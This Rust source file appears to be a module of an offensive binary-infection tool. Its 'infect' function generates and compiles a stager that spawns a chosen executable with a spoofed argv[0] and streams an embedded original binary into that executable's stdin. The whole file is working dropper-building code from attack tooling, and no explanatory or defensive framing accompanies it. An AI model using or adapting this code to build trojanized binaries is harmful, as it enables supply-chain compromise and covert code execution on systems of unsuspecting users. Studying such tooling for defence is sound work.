use crate::codegen::{self, rust};
use crate::errors::*;
use crate::infect::elf_fwd_stdin::Infect;
use std::path::Path;

fn gen_args_src(args: &[String]) -> Result<String> {
    let mut s = String::new();
    for arg in args {
        s.push_str(".arg(\"");
        codegen::escape(arg.as_bytes(), &mut s)?;
        s.push_str("\")\n");
    }
    Ok(s)
}

pub async fn infect(bin: &Path, config: &Infect, orig: &[u8]) -> Result<()> {
    let exec_path = config.exec_path();
    let args = config.args(exec_path);

    let mut compiler = rust::Compiler::spawn(bin, config.target.as_deref()).await?;

    info!(
        "Generating stager for exec={:?}, argv[0]={:?}, args={:?}",
        exec_path,
        args[0],
        &args[1..],
    );

    let mut exec_path_escaped = String::new();
    codegen::escape(exec_path.as_bytes(), &mut exec_path_escaped)?;

    let mut arg0_escaped = String::new();
    codegen::escape(args[0].as_bytes(), &mut arg0_escaped)?;

    let args_src = gen_args_src(&args[1..])?;

    compiler
        .add_lines(&[
            "use std::io::Write;\n",
            "#[cfg(unix)]\n",
            "use std::os::unix::process::CommandExt;\n",
            "use std::process::Command;\n",
            "use std::process::Stdio;\n",
            "use std::process::exit;\n",
            "fn main() {\n",
            &format!("let mut cmd = Command::new(\"{exec_path_escaped}\");\n"),
            "#[cfg(unix)]\n",
            &format!("cmd.arg0(\"{arg0_escaped}\");\n"),
            "cmd",
            &args_src,
            ".stdin(Stdio::piped());\n",
            "let Ok(mut child) = cmd.spawn() else { exit(1) };\n",
            "let Some(mut f) = child.stdin.take() else { exit(1) };\n",
        ])
        .await?;

    rust::stream_bin_std(orig, &mut compiler.stdin).await?;

    compiler
        .add_lines(&[
            "drop(f);\n",
            "let Ok(status) = child.wait() else { exit(1) };\n",
            "exit(status.code().unwrap_or(1));\n",
            "}\n",
        ])
        .await?;

    let mut pending = compiler.done();
    info!("Waiting for compile to finish...");
    pending.wait().await?;

    Ok(())
}
